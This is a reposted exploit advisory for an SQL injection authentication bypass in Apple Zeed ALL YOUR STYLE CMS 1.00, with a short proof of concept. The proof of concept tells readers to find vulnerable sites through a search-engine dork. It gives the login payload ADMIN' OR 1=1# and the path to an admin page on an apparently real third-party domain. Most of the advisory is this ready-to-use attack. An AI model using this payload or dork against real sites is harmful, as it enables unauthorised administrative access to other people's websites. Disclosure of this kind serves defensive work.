Exploit/Advisories no image

Published on May 26th, 2023 📆 | 6193 Views ⚑

0

Apple Zeed ALL YOUR STYLE CMS 1.00 SQL Injection – Torchsec


iSpeech

Apple Zeed ALL YOUR STYLE CMS 1.00 SQL Injection
Posted May 24, 2023
Authored by indoushka

Apple Zeed ALL YOUR STYLE CMS version 1.00 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
systems | apple
SHA-256 | 819d8de13b5bbf5aa37e5ee01c05a0e9be1fd1539b1445d5a483b33d39bb43dc
========================================================================================
| # Title : Apple Zeed ALL YOUR STYLE CMS 1.00 Auth By Pass Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 109.0(64-bit) |
| # Vendor : https://www.applezeed.com/web-creative-package-all-your-style.php |
| # Dork : Power BY applezeed.com |
========================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Use payload : User & Pass : ADMIN' OR 1=1#





[+] https://127.0.0.1/https/biggestjoy.com/backend/admin.php?mod=sitemap

Greetings to :=============================================================================
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*|
===========================================================================================

Source link

Tagged with:



Comments are closed.